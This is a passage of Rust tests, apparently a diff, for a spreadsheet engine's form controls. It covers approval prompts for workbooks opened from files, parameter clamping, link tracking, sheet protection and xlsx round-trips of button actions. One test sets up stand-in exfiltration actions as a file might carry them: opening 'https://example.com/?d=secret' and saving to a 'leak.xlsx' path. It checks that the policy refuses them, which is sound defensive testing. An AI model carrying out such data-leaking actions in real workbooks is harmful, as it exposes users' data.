+    s.execute("control.assign", json!({"id": empty, "macro": "Gone"})).unwrap();
+    assert!(err(s.execute("control.press", json!({"id": empty}))).contains("no macro called"));
+    let spin = id(&s.execute("insert.spinButton", json!({})).unwrap());
+    assert!(err(s.execute("control.press", json!({"id": spin}))).contains("only buttons"));
+}
+
+#[test]
+fn a_command_button_goes_through_the_policy_with_the_documents_trust() {
+    let mut s = s();
+    let b = id(&s.execute("insert.button", json!({"command": "cell.set", "params": {"cell": "A1", "input": "7"}})).unwrap());
+    // A workbook made here runs it straight away, as one undo step.
+    let before = undo_len(&s);
+    s.execute("control.press", json!({"id": b})).unwrap();
+    assert_eq!(v(&s, "A1"), Value::Number(7.0));
+    assert_eq!(undo_len(&s), before + 1);
+    s.execute("edit.undo", json!({})).unwrap();
+    // From a file: it asks first, once.
+    s.doc_mut().unwrap().trust = Trust::FromFile;
+    match s.execute("control.press", json!({"id": b})) {
+        Err(EngineError::Approve(q)) => assert!(q.contains("came with a workbook you opened"), "{q}"),
+        other => panic!("expected a question, got {other:?}"),
+    }
+    assert_eq!(v(&s, "A1"), Value::Empty, "nothing ran");
+    s.execute("control.press", json!({"id": b, "approve": true})).unwrap();
+    assert_eq!(v(&s, "A1"), Value::Number(7.0));
+    s.execute("cell.set", json!({"cell": "A1", "input": ""})).unwrap();
+    s.execute("control.press", json!({"id": b})).unwrap();
+    assert_eq!(v(&s, "A1"), Value::Number(7.0), "approved for the session");
+    // A command that reads a file always asks.
+    s.doc_mut().unwrap().trust = Trust::Local;
+    let f = id(&s.execute("insert.button", json!({"command": "data.fromTextCsv", "params": {"path": "/nonexistent/x.csv"}})).unwrap());
+    assert!(matches!(s.execute("control.press", json!({"id": f})), Err(EngineError::Approve(q)) if q.contains("reads a file")));
+    // A denied command that a file brought in never runs.
+    let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
+    if let Some(c) = sh.controls.iter_mut().find(|c| c.id as u64 == f) {
+        c.action = Some(ControlAction::Command { id: "file.saveAs".into(), params: json!({"path": "/tmp/x.xlsx"}) });
+    }
+    assert!(err(s.execute("control.press", json!({"id": f, "approve": true}))).contains("can't run file.saveAs"));
+    // A macro button in a file's workbook asks too (the runner's gate).
+    s.execute(
+        "macro.save",
+        json!({"name": "M", "steps": [{"command": "cell.set", "params": {"cell": "B1", "input": "1"}}], "output": {"onConflict": "overwrite"}}),
+    )
+    .unwrap();
+    let m = id(&s.execute("insert.button", json!({"macro": "M"})).unwrap());
+    s.doc_mut().unwrap().trust = Trust::FromFile;
+    assert!(matches!(s.execute("control.press", json!({"id": m})), Err(EngineError::Approve(_))));
+    s.execute("control.press", json!({"id": m, "approve": true})).unwrap();
+    assert_eq!(v(&s, "B1"), Value::Number(1.0));
+}
+
+#[test]
+fn a_file_commands_approval_question_names_the_file() {
+    let mut s = s();
+    let b = id(&s.execute("insert.button", json!({"command": "file.exportCsv", "params": {"path": "/tmp/reports/q3 totals.csv"}})).unwrap());
+    match s.execute("control.press", json!({"id": b})) {
+        Err(EngineError::Approve(q)) => assert!(q.contains("writes a file (/tmp/reports/q3 totals.csv)"), "{q}"),
+        other => panic!("expected a question, got {other:?}"),
+    }
+    // A long path is shortened in the middle, and line breaks can't hide part of it.
+    let long = format!("/tmp/{}\n{}.csv", "a".repeat(300), "b".repeat(300));
+    let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
+    if let Some(c) = sh.controls.iter_mut().find(|c| c.id as u64 == b) {
+        c.action = Some(ControlAction::Command { id: "file.exportCsv".into(), params: json!({"path": long}) });
+    }
+    match s.execute("control.press", json!({"id": b})) {
+        Err(EngineError::Approve(q)) => {
+            assert!(q.contains("(/tmp/aaa") && q.contains("…") && q.contains("bbb.csv)") && !q.contains('\n') && q.len() < 600, "{q}")
+        }
+        other => panic!("expected a question, got {other:?}"),
+    }
+    // Without a path the question is unchanged.
+    let plain = id(&s.execute("insert.button", json!({"command": "cell.set", "params": {"cell": "A1", "input": "1"}})).unwrap());
+    s.doc_mut().unwrap().trust = Trust::FromFile;
+    match s.execute("control.press", json!({"id": plain})) {
+        Err(EngineError::Approve(q)) => assert!(q.ends_with("came with a workbook you opened."), "{q}"),
+        other => panic!("expected a question, got {other:?}"),
+    }
+}
+
+#[test]
+fn hostile_params_are_refused() {
+    let mut s = s();
+    let c = id(&s.execute("insert.slider", json!({"width": 1e30, "height": -5, "at": "XFD1048576"})).unwrap());
+    let a = control(&s, c).anchor;
+    assert_eq!((a.width, a.height), (10_000.0, 4.0));
+    let long = "x".repeat(2_000);
+    assert!(s.execute("insert.button", json!({"text": long})).is_err());
+    assert!(s.execute("insert.button", json!({"text": 5})).is_err());
+    assert!(s.execute("insert.button", json!({"command": "cell.set", "params": [1]})).is_err());
+    assert!(s.execute("control.format", json!({"id": c, "link": 5})).is_err());
+    assert!(s.execute("control.format", json!({"id": c, "value": f64::MAX})).is_err());
+    assert!(s.execute("control.setValue", json!({"id": c, "value": f64::MIN})).is_ok());
+    assert_eq!(control(&s, c).value, 0);
+    // Snapping keeps the maximum reachable when the step doesn't divide the range.
+    let odd = FormControl { kind: ControlKind::Spin, min: 0, max: 10, step: 3, ..Default::default() };
+    assert_eq!((odd.snap(9.4), odd.snap(9.6), odd.snap(f64::NAN)), (9, 10, 0));
+}
+
+fn link(s: &Session, sheet_i: usize, id: u64) -> String {
+    let sh = s.doc().unwrap().wb.sheet(sheet_i).unwrap();
+    sh.controls.iter().find(|c| c.id as u64 == id).and_then(|c| c.link.clone()).unwrap_or_default()
+}
+
+#[test]
+fn links_follow_inserts_deletes_renames_and_cut_moves() {
+    let mut s = s();
+    s.execute("home.insertSheet", json!({"name": "Data"})).unwrap();
+    // A control on Data pointing back at Sheet1.
+    let back = id(&s.execute("insert.spinButton", json!({"at": "C3", "link": "Sheet1!$B$2"})).unwrap());
+    s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
+    let local = id(&s.execute("insert.slider", json!({"at": "E2", "link": "$B$2"})).unwrap());
+    let remote = id(&s.execute("insert.spinButton", json!({"at": "E6", "link": "Data!$A$1"})).unwrap());
+
+    s.execute("home.insertRows", json!({"rows": "1:1"})).unwrap();
+    s.execute("home.insertColumns", json!({"cols": "A:A"})).unwrap();
+    assert_eq!(link(&s, 0, local), "$C$3");
+    assert_eq!(link(&s, 1, back), "Sheet1!$C$3");
+    assert_eq!(link(&s, 0, remote), "Data!$A$1", "edits on Sheet1 leave links into Data alone");
+
+    s.execute("cell.set", json!({"cell": "C3", "input": "7"})).unwrap();
+    s.execute("edit.cut", json!({"range": "C3"})).unwrap();
+    s.execute("edit.paste", json!({"at": "G9"})).unwrap();
+    assert_eq!(link(&s, 0, local), "$G$9", "a cut-move takes the link with the cell");
+    assert_eq!(link(&s, 1, back), "Sheet1!$G$9");
+
+    s.execute("sheet.rename", json!({"sheet": 1, "name": "Inputs"})).unwrap();
+    assert_eq!(link(&s, 0, remote), "Inputs!$A$1");
+    s.execute("home.deleteRows", json!({"rows": "9:9"})).unwrap();
+    assert!(link(&s, 0, local).contains("#REF!"), "{}", link(&s, 0, local));
+    s.execute("home.deleteSheet", json!({"sheet": 1})).unwrap();
+    assert!(link(&s, 0, remote).contains("#REF!"), "{}", link(&s, 0, remote));
+    // A link to a deleted cell writes nothing.
+    s.execute("control.setValue", json!({"id": local, "value": 5})).unwrap();
+    for _ in 0..3 {
+        s.execute("edit.undo", json!({})).unwrap();
+    }
+    assert_eq!((link(&s, 0, local), link(&s, 0, remote)), ("$G$9".to_string(), "Inputs!$A$1".to_string()));
+}
+
+#[test]
+fn the_object_commands_leave_a_locked_control_on_a_protected_sheet_alone() {
+    let mut s = s();
+    let locked = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1"})).unwrap());
+    let other = id(&s.execute("insert.spinButton", json!({"at": "D8"})).unwrap());
+    let free = id(&s.execute("insert.button", json!({"at": "D12"})).unwrap());
+    s.execute("control.format", json!({"id": free, "locked": false})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+    let before = s.doc().unwrap().wb.clone();
+    for (cmd, p) in [
+        ("object.move", json!({"kind": "control", "id": locked, "at": "H9"})),
+        ("object.delete", json!({"kind": "control", "id": locked})),
+        ("object.setAnchorMode", json!({"kind": "control", "id": locked, "mode": "absolute"})),
+        ("arrange.bringForward", json!({"kind": "control", "id": locked, "toFront": true})),
+        ("arrange.sendBackward", json!({"kind": "control", "id": locked})),
+        ("arrange.align", json!({"kind": "control", "ids": [locked, other], "align": "left"})),
+    ] {
+        assert!(err(s.execute(cmd, p)).contains("protected"), "{cmd}");
+    }
+    assert!(std::sync::Arc::ptr_eq(&s.doc().unwrap().wb, &before), "nothing changed");
+    // An unlocked control still moves, as in Excel.
+    s.execute("object.move", json!({"kind": "control", "id": free, "at": "H12"})).unwrap();
+    assert_eq!(control(&s, free).anchor.cell.a1(), "H12");
+}
+
+#[test]
+fn a_locked_control_on_a_protected_sheet_cannot_be_changed() {
+    let mut s = s();
+    let c = id(&s.execute("insert.slider", json!({"link": "B1"})).unwrap());
+    let b = id(&s.execute("insert.button", json!({})).unwrap());
+    s.execute("review.protectSheet", json!({})).unwrap();
+    assert!(err(s.execute("control.format", json!({"id": c, "max": 50}))).contains("protected"));
+    assert!(err(s.execute("control.assign", json!({"id": b, "command": "home.bold"}))).contains("protected"));
+}
+
+fn reopen(s: &mut Session) {
+    let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap();
+    let b64 = r["base64"].as_str().unwrap().to_string();
+    s.execute("file.open", json!({"name": "x.xlsx", "base64": b64})).unwrap();
+}
+
+#[test]
+fn a_kept_button_action_comes_back_only_on_the_same_button() {
+    use crate::cmd::controls::{load_action_names, with_action_names};
+    let mut s = s();
+    s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
+    s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
+    s.execute("insert.button", json!({"at": "D6", "text": "Other"})).unwrap();
+    s.execute("insert.button", json!({"at": "D9", "text": "Fixed", "macro": "Mark", "input": "F1:G2"})).unwrap();
+    let wb = (*s.doc().unwrap().wb).clone();
+    let stored = with_action_names(&wb).unwrap().unwrap();
+    let actions = |wb: &gridcraft_model::Workbook| wb.sheet(0).unwrap().controls.iter().map(|c| c.action.clone()).collect::<Vec<_>>();
+    let kept = |wb: &gridcraft_model::Workbook| {
+        let mut wb = wb.clone();
+        for c in &mut wb.sheet_mut(0).unwrap().controls {
+            // As xlsx carries them: a macro on the selection, or nothing for a command.
+            c.action = match c.action.take() {
+                Some(ControlAction::Macro { name, .. }) => Some(ControlAction::Macro { name, input: MacroInput::Selection, output: None }),
+                _ => None,
+            };
+        }
+        wb
+    };
+    // The same buttons in the same places get their actions back.
+    let mut same = kept(&stored);
+    load_action_names(&mut same);
+    assert_eq!(actions(&same), actions(&wb));
+    // Another application removed the first button: the command must not move to "Other".
+    let mut shifted = kept(&stored);
+    shifted.sheet_mut(0).unwrap().controls.remove(0);
+    load_action_names(&mut shifted);
+    assert_eq!(shifted.sheets[0].controls[0].action, None, "the command stays with the removed button");
+    // A button given another macro there keeps it; a command doesn't replace a macro either.
+    let mut reassigned = kept(&stored);
+    for i in [0, 2] {
+        reassigned.sheet_mut(0).unwrap().controls[i].action =
+            Some(ControlAction::Macro { name: "Other".into(), input: MacroInput::Selection, output: None });
+    }
+    load_action_names(&mut reassigned);
+    for i in [0, 2] {
+        assert!(
+            matches!(&reassigned.sheets[0].controls[i].action, Some(ControlAction::Macro { name, input: MacroInput::Selection, .. }) if name == "Other"),
+            "{i}"
+        );
+    }
+    // Another application cleared the macro of "Fixed": the stored action (with its fixed input)
+    // does not bring the assignment back. The command on a button given no macro still does.
+    let mut cleared = kept(&stored);
+    cleared.sheet_mut(0).unwrap().controls[2].action = None;
+    load_action_names(&mut cleared);
+    assert_eq!(cleared.sheets[0].controls[2].action, None, "the removed assignment stays removed");
+    assert_eq!(cleared.sheets[0].controls[0].action, actions(&wb)[0], "the command comes back");
+}
+
+/// An entry of the hidden name must carry the button's name and anchor cell (the writer always
+/// stores both): a hand-edited entry without either, or with something else there, is dropped
+/// like an unparsable one, so it cannot pin its action onto whatever button sits at that index.
+#[test]
+fn a_kept_action_without_the_buttons_name_or_anchor_is_dropped() {
+    use crate::cmd::controls::{ACTIONS_KEY, load_action_names, with_action_names};
+    use crate::cmd::stash;
+    let mut s = s();
+    s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
+    let stored = with_action_names(&s.doc().unwrap().wb).unwrap().unwrap();
+    let items = stash::get_json(&stored, ACTIONS_KEY).unwrap();
+    assert!(items[0]["name"].is_string() && items[0]["at"].is_string(), "the writer stores both keys: {items}");
+    // As the file brings a command button back: with no action.
+    let kept = |items: &Json| {
+        let mut wb = stored.clone();
+        wb.sheet_mut(0).unwrap().controls[0].action = None;
+        stash::remove(&mut wb, ACTIONS_KEY);
+        stash::set_json(&mut wb, ACTIONS_KEY, items).unwrap();
+        load_action_names(&mut wb);
+        assert!(stash::get(&wb, ACTIONS_KEY).is_none(), "the hidden name is removed");
+        wb.sheets[0].controls[0].action.clone()
+    };
+    let edited = |key: &str, value: Option<Json>| {
+        let mut items = items.clone();
+        let entry = items[0].as_object_mut().unwrap();
+        match value {
+            Some(v) => entry.insert(key.to_string(), v),
+            None => entry.remove(key),
+        };
+        items
+    };
+    assert_eq!(kept(&edited("name", None)), None, "no `name`");
+    assert_eq!(kept(&edited("at", None)), None, "no `at`");
+    assert_eq!(kept(&edited("name", Some(json!(1)))), None, "`name` is not text");
+    assert_eq!(kept(&edited("at", Some(Json::Null))), None, "`at` is null");
+    assert!(matches!(kept(&items), Some(ControlAction::Command { .. })), "the writer's own entry still comes back");
+}
+
+/// A fixed input range for a macro that declares no inputs would fail every press (`macro.run`
+/// refuses inputs the macro doesn't take), so the assignment is refused when it is made, naming
+/// the macro; a macro the workbook doesn't have yet is not checked, and a macro with an input
+/// takes the range. A file that brings such a stored input in gets the macro on the selection.
+#[test]
+fn a_fixed_input_for_a_macro_without_inputs_is_refused_when_assigned() {
+    use crate::cmd::controls::{load_action_names, with_action_names};
+    let mut s = s();
+    s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "x"}}]})).unwrap();
+    s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
+    let want = "macro 'Fill' takes no inputs";
+    assert!(err(s.execute("insert.button", json!({"at": "B2", "macro": "Fill", "input": "C2:D4"}))).contains(want));
+    assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 0, "no button was placed");
+    let b = id(&s.execute("insert.button", json!({"at": "B2", "macro": "Fill", "output": "F2"})).unwrap());
+    let e = err(s.execute("control.assign", json!({"id": b, "macro": "fill", "input": "C2:D4"})));
+    assert!(e.contains(want), "any letter case: {e}");
+    assert_eq!(control(&s, b).action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Selection, output: Some("F2".into()) }));
+    s.execute("control.assign", json!({"id": b, "macro": "Mark", "input": "C2:D4"})).unwrap();
+    s.execute("control.assign", json!({"id": b, "macro": "Later", "input": "C2:D4"})).unwrap();
+    assert_eq!(control(&s, b).action, Some(ControlAction::Macro { name: "Later".into(), input: MacroInput::Fixed("C2:D4".into()), output: None }));
+    // A file's stored fixed input for Fill (another version assigned it) comes back as the selection.
+    s.execute("control.assign", json!({"id": b, "macro": "Fill", "output": "F2"})).unwrap();
+    let mut wb = (*s.doc().unwrap().wb).clone();
+    wb.sheet_mut(0).unwrap().controls[0].action =
+        Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) });
+    let mut stored = with_action_names(&wb).unwrap().unwrap();
+    load_action_names(&mut stored);
+    assert_eq!(
+        stored.sheets[0].controls[0].action,
+        Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Selection, output: Some("F2".into()) })
+    );
+}
+
+/// The saved xlsx bytes of `s`'s workbook.
+fn saved_xlsx(s: &mut Session) -> Vec<u8> {
+    let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap();
+    crate::io::base64_decode(r["base64"].as_str().unwrap()).unwrap()
+}
+
+/// `bytes` with `edit` applied to the text of every part, as another application that rewrote
+/// those parts would leave the file.
+fn edit_parts(bytes: &[u8], mut edit: impl FnMut(&str, String) -> String) -> Vec<u8> {
+    use std::io::{Cursor, Read, Write};
+    let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).unwrap();
+    let mut out = zip::ZipWriter::new(Cursor::new(Vec::new()));
+    for i in 0..zip.len() {
+        let mut part = zip.by_index(i).unwrap();
+        let name = part.name().to_string();
+        let mut data = Vec::new();
+        part.read_to_end(&mut data).unwrap();
+        let data = match String::from_utf8(data) {
+            Ok(text) => edit(&name, text).into_bytes(),
+            Err(e) => e.into_bytes(),
+        };
+        out.start_file(name, zip::write::SimpleFileOptions::default()).unwrap();
+        out.write_all(&data).unwrap();
+    }
+    out.finish().unwrap().into_inner()
+}
+
+/// Opens `bytes` as `name`, checks the hidden name of the button actions is taken back out, and
+/// lists the controls.
+fn open_and_list(s: &mut Session, name: &str, bytes: &[u8]) -> Json {
+    s.execute("file.open", json!({"name": name, "base64": crate::io::base64_encode(bytes)})).unwrap();
+    assert!(s.doc().unwrap().wb.names.iter().all(|n| !n.name.contains("control_actions")), "{name}: the hidden name is taken back out");
+    s.execute("control.list", json!({})).unwrap()
+}
+
+/// The macro reference xlsx writes for a button that runs `Mark`.
+const MARK: &str = "[0]!Mark";
+
+/// Another application removed a button's macro assignment and kept the button with its name and
+/// place: the hidden name's copy of the action (with the fixed input and the output cell) does not
+/// bring the assignment back. The same file, unedited, reopens with the whole action.
+#[test]
+fn a_macro_assignment_removed_in_another_application_stays_removed() {
+    let mut s = s();
+    s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}], "output": {"onConflict": "overwrite"}})).unwrap();
+    s.execute("insert.button", json!({"at": "D2", "text": "Run", "macro": "Mark", "input": "F1:G2", "output": "H1"})).unwrap();
+    let before = s.execute("control.list", json!({})).unwrap()[0].clone();
+    let full = ControlAction::Macro { name: "Mark".into(), input: MacroInput::Fixed("F1:G2".into()), output: Some("H1".into()) };
+    assert_eq!(before["action"], serde_json::to_value(&full).unwrap());
+    let bytes = saved_xlsx(&mut s);
+    // xlsx assigns the macro in the sheet's `<controlPr macro>` and in the VML shape's
+    // `<x:FmlaMacro>` (the parts the reader takes it from); clearing the assignment drops both.
+    let (attr, fmla) = (format!(" macro=\"{MARK}\""), format!("<x:FmlaMacro>{MARK}</x:FmlaMacro>"));
+    let mut edited = Vec::new();
+    let cleared = edit_parts(&bytes, |name, text| {
+        if text.contains(&attr) || text.contains(&fmla) {
+            edited.push(name.to_string());
+        }
+        text.replace(&attr, "").replace(&fmla, "")
+    });
+    edited.sort();
+    assert_eq!(edited, ["xl/drawings/vmlDrawing1.vml", "xl/worksheets/sheet1.xml"]);
+    let list = open_and_list(&mut s, "cleared.xlsx", &cleared);
+    assert_eq!(list.as_array().unwrap().len(), 1);
+    for key in ["kind", "name", "at", "text"] {
+        assert_eq!(list[0][key], before[key], "{key}: the same button");
+    }
+    assert_eq!(list[0].get("action"), None, "the removed assignment stays removed");
+    // Unedited, the file still assigns the macro, and the action comes back whole.
+    let list = open_and_list(&mut s, "kept.xlsx", &bytes);
+    assert_eq!(list[0]["action"], before["action"]);
+}
+
+/// Another application assigned a macro to a button that ran a command (kept in the hidden name):
+/// the file's macro wins, as it does when a macro button is given another macro.
+#[test]
+fn a_macro_assigned_in_another_application_replaces_a_stored_command() {
+    let mut s = s();
+    s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap();
+    s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
+    let bytes = saved_xlsx(&mut s);
+    let (pr, data) = ("<controlPr", "<x:ClientData ObjectType=\"Button\">");
+    let mut edited = Vec::new();
+    let assigned = edit_parts(&bytes, |name, text| {
+        if text.contains(pr) || text.contains(data) {
+            edited.push(name.to_string());
+        }
+        text.replace(pr, &format!("<controlPr macro=\"{MARK}\"")).replace(data, &format!("{data}<x:FmlaMacro>{MARK}</x:FmlaMacro>"))
+    });
+    edited.sort();
+    assert_eq!(edited, ["xl/drawings/vmlDrawing1.vml", "xl/worksheets/sheet1.xml"]);
+    let list = open_and_list(&mut s, "assigned.xlsx", &assigned);
+    let plain = ControlAction::Macro { name: "Mark".into(), input: MacroInput::Selection, output: None };
+    assert_eq!(list[0]["action"], serde_json::to_value(&plain).unwrap(), "the file's macro, not the stored command");
+}
+
+#[test]
+fn every_kind_and_action_survives_xlsx() {
+    let mut s = s();
+    s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}], "output": {"onConflict": "overwrite"}})).unwrap();
+    s.execute("insert.slider", json!({"at": "D2", "link": "B1", "min": 10, "max": 200, "step": 10, "page": 50, "value": 70})).unwrap();
+    s.execute("insert.spinButton", json!({"at": "D6", "link": "B2", "max": 9, "value": 4})).unwrap();
+    s.execute("insert.button", json!({"at": "D9", "text": "Plain", "macro": "Mark"})).unwrap();
+    s.execute("insert.button", json!({"at": "D11", "text": "Fixed", "macro": "Mark", "input": "F1:G2", "output": "H1"})).unwrap();
+    s.execute("insert.button", json!({"at": "D13", "text": "Command", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
+    s.execute("review.newNote", json!({"cell": "A1", "text": "a note"})).unwrap();
+    let before: Vec<Json> = s
+        .execute("control.list", json!({}))
+        .unwrap()
+        .as_array()
+        .unwrap()
+        .iter()
+        .map(|c| {
+            let mut c = c.clone();
+            c.as_object_mut().unwrap().remove("id");
+            c
+        })
+        .collect();
+    reopen(&mut s);
+    let after: Vec<Json> = s
+        .execute("control.list", json!({}))
+        .unwrap()
+        .as_array()
+        .unwrap()
+        .iter()
+        .map(|c| {
+            let mut c = c.clone();
+            c.as_object_mut().unwrap().remove("id");
+            c
+        })
+        .collect();
+    assert_eq!(before.len(), after.len());
+    for (b, a) in before.iter().zip(&after) {
+        for key in ["kind", "name", "at", "text", "link", "value", "min", "max", "step", "page", "horizontal", "action", "print", "locked"] {
+            assert_eq!(b.get(key), a.get(key), "{key}: {b} vs {a}");
+        }
+    }
+    assert!(s.doc().unwrap().wb.names.iter().all(|n| !n.name.contains("control_actions")), "the hidden name is taken back out");
+    assert_eq!(s.doc().unwrap().trust, Trust::FromFile);
+    // A workbook from a file: its command button asks before it runs.
+    let cmd = after.iter().position(|c| c["text"] == json!("Command")).unwrap();
+    let id = s.execute("control.list", json!({})).unwrap()[cmd]["id"].as_u64().unwrap();
+    assert!(matches!(s.execute("control.press", json!({"id": id})), Err(EngineError::Approve(_))));
+    s.execute("control.press", json!({"id": id, "approve": true})).unwrap();
+    assert_eq!(v(&s, "A9"), Value::text("cmd"));
+    // The linked cells still move the controls.
+    s.execute("cell.set", json!({"cell": "B1", "input": "120"})).unwrap();
+    assert_eq!(s.execute("control.list", json!({})).unwrap()[0]["value"], json!(120));
+}
+
+/// A button's command goes through the macro policy when it is assigned and again when it is
+/// pressed, so a file whose hidden name carries a denied command (written by another application,
+/// or edited by hand) can't use a button as a way around the policy.
+#[test]
+fn a_denied_command_is_refused_when_assigned_and_when_a_file_brings_it_in() {
+    let dir = std::env::temp_dir().join(format!("gridcraft-control-deny-{}", std::process::id()));
+    let leak = dir.join("leak.xlsx").to_string_lossy().to_string();
+    let denied = [
+        ("link.open", json!({"url": "https://example.com/?d=secret"})),
+        ("file.saveAs", json!({"path": leak})),
+        ("file.save", json!({})),
+        ("file.open", json!({"path": leak})),
+        ("app.commands", json!({})),
+        ("macro.run", json!({"name": "Mark"})),
+        ("automate.runScript", json!({"name": "Leak", "trusted": true})),
+        ("control.press", json!({"id": 1})),
+    ];
+    let mut s = s();
+    s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap();
+    // Neither Insert › Button nor Assign Action takes one.
+    let b = id(&s.execute("insert.button", json!({"at": "B2", "text": "Run"})).unwrap());
+    for (cmd, params) in &denied {
+        let want = format!("can't run {cmd}");
+        assert!(err(s.execute("insert.button", json!({"at": "B9", "command": cmd, "params": params}))).contains(&want), "{cmd}");
+        assert!(err(s.execute("control.assign", json!({"id": b, "command": cmd, "params": params}))).contains(&want), "{cmd}");
+        assert_eq!(control(&s, b).action, None, "{cmd}");
+    }
+    assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1, "no button was placed");
+    // A file can still carry them: one button per command, given its action as a file would.
+    for i in 1..denied.len() {
+        s.execute("insert.button", json!({"at": format!("B{}", 2 + 3 * i), "text": format!("Run {i}")})).unwrap();
+    }
+    let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
+    for (c, (cmd, params)) in sh.controls.iter_mut().zip(&denied) {
+        c.action = Some(ControlAction::Command { id: (*cmd).to_string(), params: params.clone() });
+    }
+    reopen(&mut s);
+    assert_eq!(s.doc().unwrap().trust, Trust::FromFile);
+    let list = s.execute("control.list", json!({})).unwrap();
+    for (i, (cmd, params)) in denied.iter().enumerate() {
+        // The action came back through the hidden name, so the check at press time is what holds.
+        assert_eq!(list[i]["action"], json!({"type": "command", "id": cmd, "params": params}), "{cmd}");
+        let pressed = list[i]["id"].as_u64().unwrap();
+        let before = undo_len(&s);
+        assert!(err(s.execute("control.press", json!({"id": pressed, "approve": true}))).contains(&format!("can't run {cmd}")), "{cmd}");
+        assert_eq!(undo_len(&s), before, "{cmd}: nothing ran");
+    }
+    assert!(!std::path::Path::new(&leak).exists());
+    assert_eq!(v(&s, "A1"), Value::Empty, "the macro never ran");
+    assert!(!s.ui_requests.iter().any(|r| matches!(r, crate::UiRequest::OpenUrl(_))), "no page was opened: {:?}", s.ui_requests);
+}
+
+/// A command the policy allows may still turn out to open a dialog or a web page when it runs
+/// (a command given no parameters opens its dialog): the press is refused with the reason, as a
+/// macro step is, and the request is dropped, so nothing opens. Messages for the person pass.
+#[test]
+fn a_button_command_that_would_open_a_dialog_or_a_page_is_refused_after_it_runs() {
+    use crate::UiRequest;
+    use crate::cmd::controls::take_requests;
+    let mut s = s();
+    let b = id(&s.execute("insert.button", json!({"at": "B2", "text": "Link", "command": "insert.link", "params": {}})).unwrap());
+    let before = undo_len(&s);
+    let name = control(&s, b).display_name();
+    assert_eq!(
+        err(s.execute("control.press", json!({"id": b}))),
+        format!("'{name}' would open the insertLink dialog; give its command the parameters it needs.")
+    );
+    assert!(!s.ui_requests.iter().any(|r| matches!(r, UiRequest::Dialog(..))), "{:?}", s.ui_requests);
+    assert_eq!(undo_len(&s), before, "nothing stays done");
+    // The filter itself, with every kind of request a command can queue: the page is refused,
+    // the cell edit is dropped, the message stays, and requests queued before are left alone.
+    s.ui_requests.push(UiRequest::Message("earlier".into()));
+    let queued = s.ui_requests.len();
+    s.ui_requests.extend([UiRequest::EditCell(None), UiRequest::Message("saved".into()), UiRequest::OpenUrl("https://example.com/".into())]);
+    assert_eq!(take_requests(&mut s, queued, "Go").as_deref(), Some("'Go' would open a web page, which buttons don't do."));
+    assert_eq!(s.ui_requests, vec![UiRequest::Message("earlier".into()), UiRequest::Message("saved".into())]);
+    assert_eq!(take_requests(&mut s, 5, "Go"), None, "a mark past the queue's end drops nothing");
+    assert_eq!(s.ui_requests.len(), 2);
+}
+
+/// A linked cell that holds a formula: a write of the value the formula already shows is skipped,
+/// so Format Control's OK (which sends the value back every time) keeps the formula, also on a
+/// protected sheet with the cell locked; a changed value replaces the formula with the constant.
+#[test]
+fn a_formula_in_the_linked_cell_survives_a_write_of_the_value_it_shows() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "A1", "input": "10"})).unwrap();
+    s.execute("cell.set", json!({"cell": "B1", "input": "=A1*2"})).unwrap();
+    let formula =
+        |s: &Session| s.doc().unwrap().wb.sheet(0).unwrap().cell(gridcraft_core::CellRef::parse("B1").unwrap()).is_some_and(|c| c.formula.is_some());
+    assert!(formula(&s));
+    // Inserting with the value the formula shows (10 * 2 = 20) writes nothing.
+    let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1", "value": 20})).unwrap());
+    assert!(formula(&s), "the formula stays");
+    assert_eq!(v(&s, "B1"), Value::Number(20.0));
+    // The dialog's OK: every number sent back, the value unchanged, a new name.
+    s.execute("control.format", json!({"id": c, "name": "Speed", "value": 20, "min": 0, "max": 100, "step": 1, "page": 10, "locked": false}))
+        .unwrap();
+    assert!(formula(&s), "a rename keeps the formula");
+    // Editing A1 moves the control through the formula (15 * 2 = 30); OK with that value keeps it.
+    s.execute("cell.set", json!({"cell": "A1", "input": "15"})).unwrap();
+    assert_eq!(control(&s, c).value, 30);
+    s.execute("control.format", json!({"id": c, "value": 30, "min": 0, "max": 100, "step": 1})).unwrap();
+    assert!(formula(&s));
+    // On a protected sheet with B1 locked, the same OK is not refused.
